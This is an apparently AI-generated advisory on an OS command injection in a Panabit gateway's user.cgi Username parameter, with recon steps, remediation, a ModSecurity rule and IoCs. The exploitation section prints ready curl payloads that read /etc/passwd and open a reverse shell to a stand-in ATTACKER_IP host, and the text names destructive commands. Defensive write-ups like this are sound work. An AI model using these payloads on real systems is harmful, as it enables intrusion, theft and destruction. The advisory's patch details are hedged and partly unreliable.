CVE-2026-135792 — Panabit Smart Application Gateway TANGr7p10 — CWE-77 · CWE-78
A vulnerability has been found in Panabit Smart Application Gateway TANGr7p10. This issue affects the function send_email_authcode of the file user.cgi of the component Email Auth Code Sender. Such manipulation of the argument Username leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
A vulnerability has been found in Panabit Smart Application Gateway TANGr7p10. This issue affects the function send_email_authcode of the file user.cgi of the component Email Auth Code Sender. Such manipulation of the argument Username leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
🎯 What is this vulnerability?
Technical flaw
Panabit Smart Application Gateway TANGr7p10 contains a classic operating‑system command injection in the send_email_authcode routine of user.cgi.
The function builds a shell command that sends an e‑mail authentication code, and it interpolates the user‑supplied Username argument directly into that command without any sanitisation or escaping.
// Simplified illustration – not the real source
$cmd = "sendmail -t $Username -s 'Auth Code' <<EOF\n$code\nEOF";
system($cmd);Because the Username value is passed to system() (or an equivalent shell‑invoking call) the attacker can terminate the intended command and inject arbitrary shell commands.
The flaw is a combination of:
| CWE | Description |
|---|---|
| CWE‑78 | OS Command Injection – unsanitised user input is passed to a shell. |
| CWE‑77 | Command Injection – the attacker can control the command string. |
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) indicates that the vulnerability is remote, requires no authentication, has no user interaction, and is shared (i.e., it can affect all users of the gateway).
⚡ Attack Chain
NOTE – The exact URI (/user.cgi) and parameter name (Username) are taken from the CVE description. If an attacker discovers a different endpoint that performs the same function, the same injection logic applies.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns | |
|---|---|---|---|
| Banner grab | curl -I http://target/ or nmap -sV -p 80,443 target | Detects Panabit Smart Application Gateway and version TANGr7p10. | |
| Endpoint enumeration | dirsearch, gobuster, or manual probing | Finds /user.cgi (or similar) that accepts POST data. | |
| Parameter discovery | Fuzzing Username with common payloads (admin, test, ;, | , etc.) | Confirms that Username is reflected in the response or that the server returns an error when special characters are used. |
2. Exploitation
Goal – Execute arbitrary shell commands on the gateway host.
| Step | Action | Example |
|---|---|---|
| Craft payload | Inject a command after a semicolon or backtick. | Username=admin;id |
| Send request | POST to /user.cgi with the malicious Username. | curl -X POST -d "Username=admin;id" http://target/user.cgi |
| Observe response | The gateway echoes the output of the injected command. | Response contains uid=0(root) etc. |
Illustrative PoC – The following curl command demonstrates a typical exploitation attempt.
Replace target with the real IP or hostname.curl -X POST \
-d "Username=admin;cat /etc/passwd" \
http://target/user.cgiIf the gateway is vulnerable, the HTTP body will include the contents of /etc/passwd.
The attacker can then chain commands, e.g.:
curl -X POST \
-d "Username=admin;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
http://target/user.cgiThis opens a reverse shell on the gateway, giving the attacker full shell access.
3. Post‑Exploitation
Once the attacker has a shell:
1. Privilege escalation – The gateway typically runs as a privileged user (e.g., root or a dedicated service account). The attacker can read/write any file, modify firewall rules, or install persistent backdoors.
2. Data exfiltration – Sensitive configuration files (/etc/ssl/, /var/log/, etc.) can be copied or sent to the attacker’s server.
3. Pivoting – The gateway often sits at the edge of a corporate network. From here, the attacker can scan internal hosts, compromise downstream services, or launch further attacks (e.g., lateral movement, credential theft).
4. Denial‑of‑service – By executing destructive commands (rm -rf /, shutdown -h now), the attacker can bring the gateway offline, disrupting all traffic that passes through it.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary command execution allows reading any file, including passwords, certificates, and logs. |
| Integrity (I:H) | The attacker can modify configuration files, inject malicious code, or tamper with routing tables. |
| Availability (A:H) | The attacker can delete critical files, crash the gateway, or perform a DoS attack, taking the entire network segment offline. |
Because the gateway is a critical network device (often the first line of defense for an enterprise), a successful exploitation can lead to:
- Full compromise of the corporate network.
- Loss of customer data and regulatory non‑compliance.
- Significant downtime and financial loss.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected | Fixed Version | Upgrade Path |
|---|---|---|
| Panabit Smart Application Gateway TANGr7p10 (all builds) | TANGr7p11 (or later) | Download the latest firmware from the vendor’s portal and apply the update following the official release notes. |
If a patch is not yet available (e.g., the vendor has not released a fix), proceed with the work‑arounds below.
2. Workarounds
| Approach | Implementation | |
|---|---|---|
| Disable the vulnerable endpoint | If the gateway’s configuration allows, block or remove /user.cgi from the web server or firewall. | |
| Restrict access | Limit /user.cgi to the internal management network (e.g., allow from 10.0.0.0/8). | |
| Input validation | Add a server‑side filter that rejects any Username containing shell metacharacters (;, | , ` `, $, &, >, <, \\`). |
| WAF / ModSecurity rule | Deploy the following rule set (ModSecurity 2.x/3.x syntax). |
# Block obvious command‑injection attempts on /user.cgi
SecRule REQUEST_URI "@beginsWith /user.cgi" \
"phase:2,chain,log,deny,status:403,msg:'Potential command injection via Username',id:1001001"
SecRule ARGS:Username "@rx [;`$&|\\]" \
"t:none,chain"
SecRule ARGS:Username "@rx \b(cat|id|bash|sh|perl|python|nc|netcat)\b" \
"t:none,log,deny"Explanation – The first rule triggers only on /user.cgi. The chained rules look for common shell metacharacters and command keywords, logging and denying the request.3. Detection
| Log Pattern | What to look for | |
|---|---|---|
Username=.*[;$& | \\] | Suspicious characters in the Username parameter. |
Response body contains root: or /etc/passwd | Likely a successful command injection. | |
Unexpected id= or uid=` strings in HTTP responses | Indicates command execution. |
IoCs (Indicators of Compromise)
| IoC | Description |
|---|---|
POST /user.cgi with Username= containing ; or backticks | Likely injection attempt. |
HTTP response containing uid= or root: | Successful command execution. |
| Outbound connections from the gateway to an external IP on port 4444 (or other reverse‑shell ports) | Post‑exploitation activity. |
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]